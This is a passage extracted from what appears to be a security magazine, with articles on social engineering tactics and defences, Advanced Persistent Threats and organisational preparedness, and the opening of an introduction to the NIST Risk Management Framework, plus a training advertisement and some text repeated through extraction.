and are susceptible to attackers who target such 

individuals as they know that they would get the required 

information with much ease due to the laid back attitude 

of these individuals towards their work. 

Ego 

Many a times, the attacker makes the person more 

emotionally sure of himself/herself and thus removing 

the logical awareness of the security breach that is 

occurring. 

The result is that, the person being hacked senses 

no harm in providing whatever it is that the attacker is 

requesting. The reason that such an attack succeeds is 

that the attacker is a receptive audience for victims to 

display how much knowledge they have. 

Insufficient knowledge 

Knowledge about the target system is one of the 

key factors that differentiate the attacker from other 

employees of the organization. Many a times, due to 

lack of proper training, the employees are themselves 

not sure if they have complete knowledge about the 

product and Social Engineers take advantage of 

such situations by creating a sense of urgency and 

not allowing the employee much time to think and 

understanding the fact that they are under attack. 

The Weapons of a Social Engineer 

The old-fashioned technical way of breaking into the 

computer systems by brute-forcing the user logins or 

ports have now been replaced by sophisticated methods 


that not only are easier, but yield better and faster 

results based on human psychology. These attacks can 

help the attacker get access to any system irrespective 

of the platform, software or hardware involved. 

How exactly goes a person to carry out Social 

Engineering attack? The figure below shows some of 

the most popular techniques used to perform a Social 

Engineering attack: Figure 2. 

Shoulder Surng 

Shoulder surfing is a security attack where-in, the 

attacker uses observational techniques, such as 

looking over someone’s shoulder, to get information 

while they are performing some action that involves 

explicit usage of sensitive, visible information. This can 

be performed at a close range as well as at a long range 

using binoculars or other vision-enhancing devices. 

Dumpster Diving 

Many a times, huge organizations dump items like 

company phone books, system manuals, organizational 

charts, company policy manuals, calendars of 

meetings, events and vacations, printouts of sensitive 

data or login names and passwords, printouts of source 

code, disks and tapes, company letterhead and memo 

forms, and outdated hardware carelessly into the 

company dumpsters. The attacker can use these items 

to get a huge amount of information about the company 

organization and network structure. 

This method of searching through the dumpster, 

looking for potentially useful information discarded by a 

company’s employees is known as Dumpster Diving. 

Role playing 

It is one of the key weapons for a Social Engineer. It 

involves persuading or gathering information through 

the use of an online chat session, emails, phone or any 

other method that your company uses to interact online 

with the public, pretending to be a helpdesk, employee, 

technician, helpless or an important user to divulge in 

confidential information. 

Trojan horses 

It is one of the most predominant methods currently 

used by hackers that involve tricking the victims to 

download a malicious file to the system, which on 

execution creates a backdoor in the machine that can 

be used by the attacker any time in the future and thus 

having complete access of the victim’s machine. 

Phishing 

It is the act of creating and using Websites and e-mails 

designed to look like those of well-known legitimate 


businesses, financial institutions and government 

agencies to deceive Internet users into disclosing their 

personal information and falsely claiming to be an 

established legitimate enterprise in an attempt to scam 

the user into surrendering private information that will 

be used for identity theft. 

Surng Organization Websites & Online forums 

Huge amount of information regarding the organization 

structure, email ids, phone numbers are available 

openly on the company website and other forums. This 

information can be used by the attacker to refine his 

approach and create a plan on whom to target and the 

method to be used. 

Reverse Social Engineering 

A reverse social engineering attack is an attack in which 

an attacker convinces the target that he has a problem 

or might have a certain problem in the future and that 

the attacker, is ready to help solve the problem. Reverse 

social engineering involves three parts: 

• Sabotage: After the attacker gains a simple access 

to the system, he corrupts the system or gives it 

an appearance of being corrupted. When the user 

sees the system in the corrupted state, he starts 

looking for help so as to solve the problem. 

• Marketing: In order to make sure that the user 

approaches the attacker with the problem, the 

attacker advertises himself as the only person who 

can solve the problem. 

• Support: In this step, he gains the trust of the target 

and obtains access to sensitive information. 

Defense against Social Engineering 

There is no effective way to protect against a Social 

Engineering attack because no matter what controls are 

implemented, there is always that human factor which 

influences the behavior of an individual. 

But, there are certain ways to reduce the likelihood 

of success of the attack. It is also important for 

organizations to establish a clear and strong security 

policy and processes to reduce the threat of social 

engineering. The following are some of the steps to 

ensure protection against Social Engineering attack: 

Security Awareness Trainings 

Security Awareness is the simplest solution to prevent 

Social Engineering attacks. Every person in the 

organization must be given basic security awareness 

training on timely basis that he/she should never give 

out any information without the appropriate authorization 

and that he/she should report any suspicious behavior. 


Background Verication 

There is many a chance that attacker may join the 

company as an employee so as to gather insider 

information about the company. This makes background 

screening a really important part of company policies to 

counter Social Engineering attack. It should not only be 

limited to internal employees but must also be extended 

to vendors and other contractual workers too before 

they become the part of the organization or are given 

access to the organization network. 

Physical security 

There should be proper access control mechanism in 

place to make sure that only authorized people are 

allowed access to restricted sections of the organization. 

There should be no tail-tagging. 

Limited data leakage 

There should be constant monitoring as to what all 

information about the organization is floating on the 

World Wide Web. Any kind of irregularity should be 

immediately taken care of. This will make passive 

information gathering difficult for the attacker. 

Mock Social Engineering drills 

Special Social Engineering activities should be 

performed on the internal employees of the organization 

by either the security team or by the vendor so as 

to keep track of the security awareness levels in the 

organization. 

Data Classication policy 

There should be proper classification of data on the 

basis of their criticality levels and the access personnel. 

Data classification assigns a level of sensitivity to 

company information. 

Each level of data classification includes different 

rules for viewing, editing and sharing of the data. It helps 

to deter social engineering by providing employees a 

mechanism for understanding what information can be 

disclosed and what cannot be shared without proper 

authorization. 

Some of the other controls that should be taken care 

of, to reduce the success of a Social Engineering attack 

are listed below: 

• Install and maintain firewalls, anti-virus, antispyware 

software’s, and email filters. 

• Never allow people to tailgate with you. 

• There should be a proper Incident response 

strategy set for the organization. 

• Usage of corporate ID’s on public domain, blogs, 

discussion forums etc should be restricted. 


SOCIAL FRAUD 

• Pay attention to the URL of a web site. Though 

malicious web sites generally look identical to a 

legitimate site, but the URL may use a variation in 

spelling or a different domain. 

• Confidential and critical online details like corporate 

mail box should not be accessed in public places, 

cafes, and hotels etc. where Internet security 

cannot be trusted. 

• Don’t send sensitive information over the Internet 

before checking a web sites security. 

• Don’t reveal personal or financial information in 

email, and do not respond to email solicitations 

requesting this information. 

• Ensure all physical entry and exit points are 

secured at all times. 

• Do not provide personal information or information 

about your organization to anyone unless you 

are certain of the person’s authority to have that 

information. 

• Use virtual keyboard where applicable. 

• Be very careful what is provided on your company 

web site. Avoid posting organizational charts or lists 

of key people wherever possible. 

• Make sure to shred any document that is discarded 

that may contain sensitive data. 

Conclusions 

Through this article we can understand that, however 

secure your application is, it is always vulnerable to 

one thing The Human Factor. This human factor is 

the weakest link in security which can be patched not 

by one time training but only by an ongoing process 

of improvement. Many times it’s rather the interaction 

between the data and the person has to be secured 

rather than the interaction between data and server. 

DINESH SHETTY 

Dinesh Shetty is a Information Security 

Consultant from one of the leading 

security organization in India. He is a 

EC council Certied Ethical Hacker and 

a IBM certied Appscan Specialist. He 

has authored ve articles on technology 

subjects which have been published 

in multiple InfoSec Magazines and 

international journals to date.He has 

found aws in leading Web and Mobile 

based Financial applications and helped the organizations 

solve the vulnerabilities before they could be exploited. 

Passion for research is what drives him and he works till late 

mornings everyday to fulll his quest for knowledge. 


Preventing 

deer -in-headlights 

Get the best Live Online classes 

anywhere. Get 10% off when you use code 

BESTONLINE at checkout. 

ISSMP, ISSAP, CISSP, CERTIFIED ETHICAL 

HACKER classes start every week. 

e 

www.ExpandingSecurity.com 

Pen Testing and Training… 

with Freedom, Responsibility, and Security for All. 

look

When Computer 

Attacks 

But before taking any action we have to bring 

awareness to what this new kind of threat means: 

the only way to be protected is understanding 

what this means for the organizations and how it 

could impact their business. Undoubtedly exceptional 

circumstances call for exceptional actions. So, maybe 

it is time to acknowledge that computer attacks do not 

always happen to others; we need to become aware and 

to be prepared in advance to minimize risk exposure at 

this kind of attacks, protecting both our organizations 

and their leaders. 

Even if you are not an expert in Information Security, 

you can infer that in order to attack different targets such 

as the UN (United Nations); Colombia’s Administrative 

Department of Security (DAS for its Spanish acronym); 

Guayaquil City Hall’s Website; thousands of Ecuadorian 

policemen’s personal data; Latin American political 

leaders’ Twitter and Facebook accounts; and similar 

targets in Europe or in the US, significant know-how and 

coordination levels are required. And all of this calls for 

resources that exceed the possibilities of enthusiastic 

university (or college) hackers. 

Furthermore, Internet-disclosed threats about future 

attacks on new public and private companies’ sites in the 

short run should act as a wake-up call to understand that 

we are facing an unprecedented type of motivation. 

Please note that although Advanced Persistent 

Threats are the type of attacks perpetrated by some 


SOCIAL FRAUD 

don’t always happen to others: Advanced Persistent 

Threats 

There is a new type of cyber threat that is catching more victims 

every day; many people know it is called Advanced Persistent 

Threats, and there is a trace of high profile victims out there to 

give us enough. 

social action and cyber-terrorism groups worldwide 

(of proven reach in Latin America), rather than 

categorizing their perpetrators from the philosophical 

and political standpoints, we should take threats 

seriously and become aware that globalization of 

knowledge and information put these techniques at 

hand for anyone with motivation and time enough to 

deploy them. 

The Murder of Ego (…and some other myths 

as well) 

So, this kind of attacks present the three main aspects 

of a crime: motive, means and opportunity; there’s not 

much we can do to influence on the first one; but we do 

have plenty of things to do with respect to the remaining 

two… needless to say that crimes are not feasible 

without one of these three aspects! 

In the first place we must destroy the myth of those 

who so far, have not experienced a massive proportion 

computer attack. To them information security is not a 

priority, or directly (in the worst case scenario) it is not 

a significant issue. Maybe this is a wound for the ego of 

many security administrators. Though let’s face it: we’d 

better feel touched by a whitepaper that enables us 

to be prepared and to prevent, rather than suffering a 

large scale attack with serious consequences. 

As a professional, without a doubt this is one of the 

worst arguments I could possibly hear from those 


who are responsible for IT service infrastructure 

management, because (just to mention a few) they 

ignore the main feature of these next-generation 

attacks: their sneakiness! 

15 years ago, when a virus infected a PC, the 

worst threat would be the deletion of all hard-disk 

stored data; then, with the massiveness of Local Area 

Networks first, and of the Internet later, viruses had the 

possibility to accelerate their dissemination and erase 

the hard disks of more PCs, something really very 

uncomfortable. 

Nonetheless, we still had an advantage because we 

certainly knew when the infection had taken place; and 

once the PC had been reinstalled, infection would be 

over. 

Today facts are way too different: the first goal of 

globally-distributed threats is to avoid generating the 

kind of disasters made in the past; their main goal is to 

remain undercover! Underground movements pay off 

better than hard disk deletions, because they enable 

ongoing and surreptitious digital crime perpetration for 

a while longer. 

An Opportunity To Prevent From Being In The 

Middle Of An Attack 

With respect to means and opportunity, we will further 

provide detailed technical issues regarding APT attacks. 

However, bear in mind the following key items: 

• There is no exploit without vulnerability. Every 

attack is based on vulnerabilities (i.e. actual 

chances of executing a threat); although there exist 

some topological or protocol matters very hard 

(sometimes impossible) of being ducked, in most 

cases we prove that some vulnerabilities –either in 

applications, operating systems or configurations- 

are predictable and therefore preventable. 

• Closely related with the item above, many of the 

vulnerabilities in question find their source in 

deficiencies (or worse, nonexistence) of a process 

to assure early detection, remediation, and 

verification. So, to say it as clearly as we possibly 

can with a real-life example, some organizations 

have documented and implemented processes 

to request new office inputs where up to three 

levels of approval are required. However they 

have done nothing when it comes to checking an 

application’s security code before its clearance for 

production. 

Ultimately, this is basically a matter of not facilitating 

the means to become an easy target for computer 

attacks when we could prevent them. 


There is nothing we can do to prevent the existence 

of people with the necessary know-how and motivation 

to produce this kind of attacks. But there are many other 

things we can do: 

• Do everything within our reach to stay away from 

attackers, or at least attempt to discourage them 

by turning attacks into something so difficult to 

accomplish that time investment will not pay off. 

• Protect our information assets in such a way that 

although a hacker may access them, it won’t be 

able to use them, (something similar to some 

systems installed in high-end vehicles: those cars 

do not require of an alarm, because although you 

can open them, without the electronic key the car 

won’t start!). 

Ok Now, What Do We Mean When We Say 

Advanced Persistent Threat (APT) Attack? 

Let’s deconstruct the three aspects involved in this 

name to have a thorough idea of what we are facing. 

Advanced 

I assume you scare to death when people use the word 

advanced to refer to an attack! Well, you are right to be 

scared. 

The reason why this word is included in the APTs 

description is because this type of attacks use different 

techniques to reach their targets; they are considered 

advanced for the fact that attackers have different 

techniques at hand and are not limited to a specific 

issue (as it happens for example with application 

attacks). 

Some of the techniques used in global scale APT 

attacks are the following: 

• DDoS (distributed denial of service): distributed 

denial of service attacks. 

• Botnets 

• Phishing 

• Social Engineering 

• SPAM 

• Fraudulent applications in social networks 

• Vulnerability Analysis 

• Rootkits 

• Applications vulnerabilities exploit 

In addition to this, we could say that performance and 

execution of this kind of techniques require interaction 

of more than one person; in fact it is almost impossible 

for individuals to carry out these attacks, not only 

because of the skills required but because of time and 

resources involved. 


Persistent 

Within Information Security Community, and mainly 

amongst hacking techniques experts, there is a belief 

that no matter how many protective measures you 

implement, targets will always be potentially vulnerable 

if there is enough time and motivation. Unfortunately 

this has proven to be true in most cases. 

In fact, when we say that these attacks are persistent 

we mean that they focus in a given target, using different 

techniques until reaching their goal. 

Usually when computer attacks are addressed from a 

business standpoint, it is very common to say that it has 

to do with a large scale businesses; in other words that 

the ultimate goal is to launch a massive threat that will 

only hit on a restricted number of victims, though this is 

more than enough to have a return on investment and 

profit. 

Threat 

Use of different techniques and coordination of multiple 

resources to achieve a goal, tell us about a very strong 

motivation: APT attacks share a feature in common; 

all individuals involved in the attack are determined to 

accomplish their objective. 

A threat is the possibility of materializing a risk; if we 

think about a group of organized people, with resources 

at hand, the necessary skills to use those resources and 

the determination to insist on the attack, it is clear that 

the hacking maxim mentioned before gains a renewed 

meaning! 

What Is Hidden In The Name: If All The Aforesaid 

Had Not Worried You … 

It’s important to bear in mind that this kind of attacks are 

also based on unknown techniques, i.e. vulnerabilities 

or exploits non massively diffused or announced, since 

perpetrators of these attacks have the necessary time 

and skills to develop them. 

This is a key reason why these kinds of attacks 

are different from the rest. While traditional attacks 

pursue simple targets (based on a cost-effective ratio 

between their efforts to vulnerate and the financial 

gain), APT attackers are willing to do everything just 

for accomplishing their goal, even if it implies the 

development of some new kind of threat. 

Use of unknown threats and new kinds of attacks 

bring value added for APTs, something attackers are 

really looking for; this makes their early detection more 

difficult! Like we said, these attacks are characterized 

by their sneakiness; the purpose here is to keep threat 

inactive or acting undetectably, steeling information. For 

example, by enhancing effectiveness time; the longer 

these techniques (used to permeate information and 


SOCIAL FRAUD 

make use of the threat) remain anonymous, the better 

for attackers. 

Digital Identity And Brand… Weren’t They 

“Intangible”? 

If there is something Advanced Performance Threats 

have made possible, is the fact that they have turned 

some kind of assets usually referred to as intangibles 

into something concrete. Of course, the Marketing 

& Finance Areas have always known quite well the 

(monetary) value of a brand (both for a company and 

for a line of specific products). Nonetheless many IT 

Departments have not handled the same business 

parameters to value and protect these assets. 

However, from the attack that infringed security of 

a renowned consumers good brand and modified the 

contents of a recipe where those those products were 

used, up to more complex issues where very expensive 

Intellectual Property infringements took place, the 

threats referred to in this whitepaper show the high 

exposure degree to which a company’s most significant 

assets are exposed (in fact many authors agree that 

brand is the most valuable asset). 

Technology and Security Areas Managers should pay 

much attention on this issue. If their objective is to add 

value to the business and become strategic business 

areas for the organization, the fact of the company 

investing lots of money in advertising and social 

action campaigns to raise the value of a brand, and 

then having this value affected because of computer 

attacks, would not only jeopardize the organization’s 

confidence on these areas, it might as well be seen as 

a weakness. 

Conclusion 

We shall review next some key items at the time of 

evaluating our protection against APT attacks; once 

again do not consider this as a thorough list, since 

we may find many other information sources with 

different and highly useful recommendations. Though 

I do strongly recommend considering all these 

aspects and analyzing how each one applies to the 

organization. 

Risk Analysis: Imminent Realization! 

In general, the best way to understand what proactive 

measures are required to reduce exposure degree, 

and therefore threatening risks for organizations is to 

perform a risk analysis. 

However, please note that I am referring to 

quantitative risk analyses, made in a wide awake 

and thorough manner, including all organization’s 

information assets, i.e. the kind of interdisciplinary 


analysis that should not be made by the IT area alone, 

where all organization’s areas should be necessarily 

involved. These kinds of analyses typically require 

of an external vendor’s assistance with a team of 

experts who contribute with their skills, experience and 

qualified human resources to accelerate information 

gathering and classification. 

I believe every organization should implement this kind 

of analysis, and at least should update them on a yearly 

basis. This is something stated by several international 

standards for many years now (ISO 17779, ISO 27001, 

BS 7799) as well as for the methodologies that support 

this task (MAGERIT, COBIT). 

Lack of analyses to assess an organization’s assets 

and exposure risks has several impacts on IT and 

Information Security strategic planning, though it hits as 

well everyday matters, i.e. investment rationale! 

Ghosts do Exist 

I have tried to reinforce the secret characteristic of APT 

attacks. This is something that should make us think 

that chances of having our organization’s components 

infected are very high (or are on their way to being 

infected). 

In fact, many experts go a bit further and propose 

working based on a specific assumption; that their 

organization has already been infected. So they 

suggest working as from there. I must confess that I 

agree with this approach! 

Assuming that company has been infected by some 

kind of silent threat does not mean to check that you 

have the latest antivirus version in place or review 

the list of open ports at the firewall; this is an indepth 

insight and self-awareness process where all 

technological aspects, processes and human resources 

of the organization should be involved. 

Controlling Is Not The Same Than Prohibiting 

Many organizations have decided to limit (or directly 

prohibit) access to social networks, messaging, and a 

growing number of websites and applications to their 

employees; in most cases this is the plain result of 

categorizing these sites as dangerous, and in the best 

case scenario reveals a deep unawareness of how 

social networks and individuals work. 

It’s been widely proven that any ban triggers a 

countermeasure; if users want to access a forbidden 

site they will certainly find their way to do it, and most 

likely while trying to do so new problems will arise. 

Some organizations, further to a risk analysis make 

a quantitative decision to prohibit one or several 

applications based on a tangible business risk. Well, 

those organizations are in the right pathway; however 


they represent a minimal amount out of the aggregate; 

and those who have really made it usually opt to forbid 

the least possible number of sites. 

Before prohibiting, organizations should first evaluate 

what the benefits are of controlling use of these 

potentially hazardous applications; social networks are 

growing sources for revenue generation, in addition to 

relatively low-cost and widespread promotion sources! 

Many companies have people devoted to managing 

promotion and sales channels in social networks. 

If companies are going to increasingly use this kind 

of communications channels as an alternative to the 

traditional ones, maybe the wisest thing to do would be 

recognizing those potential benefits and opportunities 

of encouraging a controlled use to minimize risks, rather 

than trying to prohibit something that sooner or later, in 

one way or another we will have to allow, without the 

skill and experience we would have gained if we had 

cleared it from the very beginning. 

On the other hand, the fact of prohibiting something 

makes us feel we don’t have to worry for that anymore, 

something that may turn into a double-edged sword! 

Although Devices Are Not Company-owned, They 

Still May Have Company’s Information 

Some years ago it was very easy to draw an imaginary line 

between the organization and the outer world (perimeter), 

and focus our protection efforts in safeguarding the 

traffic through this line. The regulating principle for this 

approach was that everything inside the line belonged 

to the company and therefore had to be protected, while 

everything on the other side of the line belonged to the 

outer world and it was the source of any threat. 

Even though we should have quit that myth several 

years ago due to some statistics showing that above 

70% of attacks perpetrated against an organization 

had their source on the intranet (i.e. the inner side of 

the perimeter); over the last years we have seen that 

line blur at a high-speed pace; first due to timework 

expansion, followed by Business to Business interconnections; 

and more recently the Coup de grậce 

(finishing blow) fostered by the increasing adoption of 

Cloud Computing. 

Well then, in addition to everything known and 

mentioned in this paper, a new kind of threat is knocking 

on our doors; and we’d better take it into account; let’s 

welcome Smartphones, PDAs, tablets and alike! 

These devices, that in most cases are not property of 

the organization, usually have access to email and other 

systems, and possess organization’s critical information 

that not only are outside organization boundaries, but 

travelling directly who knows where, without any kind of 

security control whatsoever. 


If we have made an in-depth risk analysis (sorry if I 

insist), we should know that even when these devices 

are not company-owned, we still need to include them 

in the strategic security plan; to say it clearly: wherever 

there is company valuable information, there are no 

excuses for not protecting it. 

Illegal Software, Dual Problem 

I Unfortunately it is true that many people use illegal 

software as a protection method! 

Besides being a logical nonsense, it entails a severe 

risk since there are many documented threats hidden in 

antivirus software or other kinds of allegedly fake antimalware; 

not to mention illegal software infection rates, 

usually downloaded from sites specialized in these 

matters. 

We are all responsible for bringing awareness both to 

companies and individuals; similarly we are accountable 

for pursuing the necessary know-how to understand this 

world we live in and decrease risk exposure. 

Keep One’s Eyes On The Ball 

Many of the APT type attacks have been targeted 

to access and expose an organization’s sensitive 

information. 

In some cases, information disclosed was not that 

valuable per se; but the discredit caused by such a 

disclosure was! 

What would happen if we could protect information in 

such a way that even when accessed by an attacker the 

same could not be used? Well, that’s what I mean when 

I say we should keep one’s eyes on the ball! 

Some experts recommend use of different encryption 

techniques (more or less complex and focused on 

different devices) as a way to reduce information 

exposure degree. 

Even when information could be accessed and 

extracted from the organization, decryption would be 

such a complex process that it would take hundreds 

or thousands of years to decrypt, using last generation 

computers, thus making its practical use impossible. 

This clearly raises many other technical nature 

challenges, e.g. digital certificates custody, though if we 

consider we still have the chance to apply much simpler 

techniques for applications like files encoding and 

database encryption for applications, just to mention a 

few, this kind of risk mitigation techniques could have 

their preferential space in the next future of information 

security. 

Give Him An Inch And He Will Take A Mile 

Stuxnet, Operation Shady RAT and the attacks against 

the International Olympic Committee and the World 


SOCIAL FRAUD 

Anti-Doping Agency (reportedly hidden and active at 

least during 5 years), among many others, are clear 

examples of what could happen but are not decisive 

when it comes to analyzing the future; all we can attest 

is not knowing what new threats will appear. 

However, we’ve got so much to do before giving up, 

some people even say that this is a war and that we can 

win it; I believe it’s too soon to say that, though without 

a doubt there’s plenty of room for improvement in most 

companies and public agencies information security 

management systems. 

There is one point where many experts agree; i.e. 

that new attacks call for new monitoring, detection, and 

prevention techniques; however these techniques do 

exist, the problem is just that they are not used widely 

enough. 

Just to give you an example; the SIEM (Security 

Information and Event Management) notion is 

practically unknown and partially implemented by many 

organizations, missing the opportunity to have at least 

integral monitoring systems that enable threat detection 

from the behavioral standpoint, supplementing pattern 

detection systems and other heuristic techniques; a 

value added for this kind of systems is that they enable 

audit leads, very useful to minimize impact in the event 

of an attack! 

GABRIEL MARCOS 

Twitter: @jarvel 


If we have made an in-depth risk analysis (sorry if I 

insist), we should know that even when these devices 

are not company-owned, we still need to include them 

in the strategic security plan; to say it clearly: wherever 

there is company valuable information, there are no 

excuses for not protecting it. 

Illegal Software, Dual Problem 

I Unfortunately it is true that many people use illegal 

software as a protection method! 

Besides being a logical nonsense, it entails a severe 

risk since there are many documented threats hidden in 

antivirus software or other kinds of allegedly fake antimalware; 

not to mention illegal software infection rates, 

usually downloaded from sites specialized in these 

matters. 

We are all responsible for bringing awareness both to 

companies and individuals; similarly we are accountable 

for pursuing the necessary know-how to understand this 

world we live in and decrease risk exposure. 

Keep One’s Eyes On The Ball 

Many of the APT type attacks have been targeted 

to access and expose an organization’s sensitive 

information. 

In some cases, information disclosed was not that 

valuable per se; but the discredit caused by such a 

disclosure was! 

What would happen if we could protect information in 

such a way that even when accessed by an attacker the 

same could not be used? Well, that’s what I mean when 

I say we should keep one’s eyes on the ball! 

Some experts recommend use of different encryption 

techniques (more or less complex and focused on 

different devices) as a way to reduce information 

exposure degree. 

Even when information could be accessed and 

extracted from the organization, decryption would be 

such a complex process that it would take hundreds 

or thousands of years to decrypt, using last generation 

computers, thus making its practical use impossible. 

This clearly raises many other technical nature 

challenges, e.g. digital certificates custody, though if we 

consider we still have the chance to apply much simpler 

techniques for applications like files encoding and 

database encryption for applications, just to mention a 

few, this kind of risk mitigation techniques could have 

their preferential space in the next future of information 

security. 

Give Him An Inch And He Will Take A Mile 

Stuxnet, Operation Shady RAT and the attacks against 

the International Olympic Committee and the World 


SOCIAL FRAUD 

Anti-Doping Agency (reportedly hidden and active at 

least during 5 years), among many others, are clear 

examples of what could happen but are not decisive 

when it comes to analyzing the future; all we can attest 

is not knowing what new threats will appear. 

However, we’ve got so much to do before giving up, 

some people even say that this is a war and that we can 

win it; I believe it’s too soon to say that, though without 

a doubt there’s plenty of room for improvement in most 

companies and public agencies information security 

management systems. 

There is one point where many experts agree; i.e. 

that new attacks call for new monitoring, detection, and 

prevention techniques; however these techniques do 

exist, the problem is just that they are not used widely 

enough. 

Just to give you an example; the SIEM (Security 

Information and Event Management) notion is 

practically unknown and partially implemented by many 

organizations, missing the opportunity to have at least 

integral monitoring systems that enable threat detection 

from the behavioral standpoint, supplementing pattern 

detection systems and other heuristic techniques; a 

value added for this kind of systems is that they enable 

audit leads, very useful to minimize impact in the event 

of an attack! 

GABRIEL MARCOS 

Twitter: @jarvel 


An Introduction 

to the NIST Risk Management Framework 

This article will introduce the NIST Risk Management Framework. 

It will cover the steps of system categorization, the selection of 

security controls, the implementation of the selected controls, 

the assessment of control implementation, and the system 

authorization process. 

Creating an effective information security 

program can be a daunting task. If you are 

lucky, you work for a company with an existing 

security program, clearly defined security mandates, 

and support from senior management. But, what do 

you d o if you are given the task of creating a security 

program for your organization? This article will guide 

you through the process of creating an effective security 

program using the NIST risk management framework. 

Even if you are not directly responsible for creating a 

security program, you may find it helpful to understand 

how security programs are created and why certain 

items are prioritized by auditors. 

It seems like information security is in the news on 

a daily basis. We’ve all seen the news stories about 

companies that have been breached. The motives for 

the breaches may range from financial gain, industrial 

espionage, revenge against a perceived injustice, 

or the political goals of terrorists. In response to the 

many breaches, new laws are being passed mandating 

protection of certain types of information. Even if your 

organization is not directly impacted by new statues, 

your organization may be forced to create an information 

security program to comply with customer requirements 

or in response to a security incident. 

External forces requiring the creation of a security 

program are not enough to ensure a successful program; 

you need the support and commitment of senior 


SOLUTIONS 

management for your efforts to succeed. If management 

is being forced to create a security program, they may 

resent the requirement and provide minimal support. 

It is quite possible the first challenge you may face is 

overcoming the resistance of management. 

Management usually focuses on increasing 

revenues and reducing costs. It is only natural for 

them to view an information security program as an 

added cost and a productivity barrier to the business. 

If you are able to demonstrate how a security program 

can not only meet your compliance requirements but, 

add value to the business, you will gain more support 

for your efforts. 

Your first task is to understand the goals of the 

organization. Once you understand the organizational 

goals, it is helpful to frame communications with 

management in the terms important to them. Security 

is usually discussed in terms of confidentiality, integrity, 

and availability, often referred to as the CIA triad. 

Improved integrity can reduce the costs associated 

with rework and correction. Improved availability can 

increase revenues and improve customer satisfaction. 

Improved confidentiality can protect your intellectual 

property. An information security program can 

also improve operational consistency as part of an 

organizational risk management program. 

After obtaining the support of senior management, 

a security standard should be chosen. There are 


several security standards in widespread use. 

The most common standards are ISO27001, 

COBIT, and NIST. The International Organization 

for Standardization (ISO) [1] and the International 

Electrotechnical Commission (IEC) [2] created the 

ISO27001 [3] standard. This global standard is used 

heavily in Europe. The Information Systems Audit 

and Control Association (ISACA) [4] created the 

Control Objectives for Information related Technology 

(COBIT) [5] that is widely used for compliance with 

the US Sarbanes Oxley Act (SOX) requirements for 

US publicly traded companies. The National Institute 

of Standards and Technology (NIST) has developed a 

series of standards that are published at the Computer 

Security Resource Center [6]. The NIST standards 

are widely used by US government agencies. This 

article will discuss using the NIST Risk Management 

Framework but, the basic steps also apply to the other 

frameworks. 

After selecting a security framework, the system 

boundaries and information assets should be identified. 

It is easy to overlook information that is not contained 

in the computer systems such as paper forms. All 

information should be considered, even items not 

directly covered by regulations. For example, if your 

organization is a health care company, it would be 

easy to focus solely on the patient health information 

but, overlook the employee payroll information, the 

customer billing data, or the integrity of the financial 

systems. 

Once the information assets have been identified, 

you need to determine the business unit that owns the 

information resource. Meetings should be scheduled 

with the senior manager in charge of the unit so you 

can perform a business impact analysis (BIA). A 

business impact analysis will attempt to estimate the 

mission impact of failure to meet the security objectives 

of confidentiality, integrity, and availability. NIST Federal 

Information Processing Standards Publication 199 

(NIST FIPS Pub 199 [7]) recommends classifying 

systems into the categories of Low, Medium, and High 

impact. 

A system is considered low impact if the loss of 

confidentiality, integrity, or availability has a limited 

adverse effect on the organization. The system is 

considered medium impact if the loss of confidentiality, 

integrity, or availability has a severe impact on the 

organization. The system is considered high impact if 

they loss of confidentiality, integrity, or availability would 

have a catastrophic effect on the organization. When 

evaluating a system, you should consider confidentiality, 

integrity, and availability separately. The overall score of 

the asset is the highest rating of the three categories. 


A rating of not applicable should not be used since 

each system should have a low water mark of business 

impact. 

As an example, let’s consider a public facing 

webserver for a movie theater that advertises the 

currently showing films and show times. The information 

on the website is expected to be publicly available so the 

business impact for disclosure is considered low. Since 

the website is frequently updated with new movies and 

show schedules, website defacement or inaccurate 

information would be quickly corrected and result in a 

low business impact for integrity. Since many patrons 

of the movie theater check the website for movies 

and schedules when considering attending the movie, 

a loss of availability for several weeks could have a 

catastrophic impact on the business resulting in a rating 

of high impact for availability. The highest score of the 

confidentiality, integrity, and availability categories is 

high so the overall score of the system is high. 

It is important when characterizing the impact level 

of the systems to evaluate both user data as well 

as system data. System information could include 

password files, encryption keys and certificates, 

authenticated sessions, etc. Instead of focusing 

entirely on the individual system, the system should 

be evaluated in the context of the overall enterprise. 

For example, a low impact system could be used 

to compromise a higher impact system if network 

segmentation and firewall rules allow an attacker to 

pivot in the network or provide other resources for an 

attacker. The preliminary categorization of the system 

should be adjusted to reflect any legal or contractual 

obligations, the organizational environment, 

organizational mission and goals, and data sharing 

requirements. 

The information obtained through the system 

characterization will be used for several activities 

in the development of a security program. Business 

continuity and disaster recovery planning activity needs 

the business impact analysis (BIA) to determine the 

maximum tolerable downtime (MTD) used to establish 

the recovery time objectives (RTO). Enterprise risk 

management needs the BIA to identify resources 

that need to be protected during the enterprise risk 

assessment process. Capital planning needs the 

BIA to properly allocate resources when budgeting. 

Enterprise architects and system designers need 

the BIA to align technical initiatives with business 

priorities. Vendor management processes need a BIA 

to define data protection requirements when sharing 

data and interconnecting systems. 

After categorizing the security level of the information 

asset, appropriate controls should be considered. The 


National Institute of Standards and Technology Special 

Publication 800-53 [8] (NIST SP800-53) covers control 

selection in 18 different areas: 

• Access Control 

• Awareness and Training 

• Audit and Accountability 

• Security Assessment and Authorization 

• Configuration Management 

• Contingency Planning 

• Identification and Authentication 

• Incident Response 

• Maintenance, Media Protection 

• Physical and Environmental Protection 

• Planning, Personnel Security 

• Risk Assessment 

• System and Services Acquisition 

• System and Communications Protection 

• System and Information Integrity 

• Program Management 

For each control objective listed, there is a 

corresponding set of recommended controls for 

each of the impact levels. Since there are so many 

controls to consider, controls are assigned a priority 

code that assists when planning an implementation 

sequence. Controls can be implemented as either a 

common control that applies to multiple systems or 

as a system-specific control that apply to individual 

systems. Compensating controls, should be evaluated 

if a primary control cannot be implemented due 

to technical or other reasons. NIST SP 800-18 [9] 

defines compensating controls as the management, 

operational, or technical controls employed by an 

agency in lieu of prescribed controls in the low, 

moderate, or high security control baselines, which 

provide equivalent or comparable protection for an 

information system. 

For each system, a system security plan should be 

prepared using the business impact analysis and the 

selected security controls. After the system security 

plan has been completed, it should be presented to the 

system owner for approval. NIST SP 800-18 defines the 

items to document in a system security plan: 

• System Name and Identifier 

• System Categorization 

• System Owner 

• Authorizing Official 

• Other Designated Contacts 

• Assignment of Security Responsibility 

• System Operational Status 

• Information System Type 


SOLUTIONS 

• General Description/Purpose 

• System Environment 

• System Interconnection/Information Sharing 

• Law, Regulations, and Policies Affecting the 

System 

• Security Control Selection 

• Minimum Security Controls 

• Completion and Approval Dates 

Once the system security plan has been approved by 

the authorizing official, control implementation can 

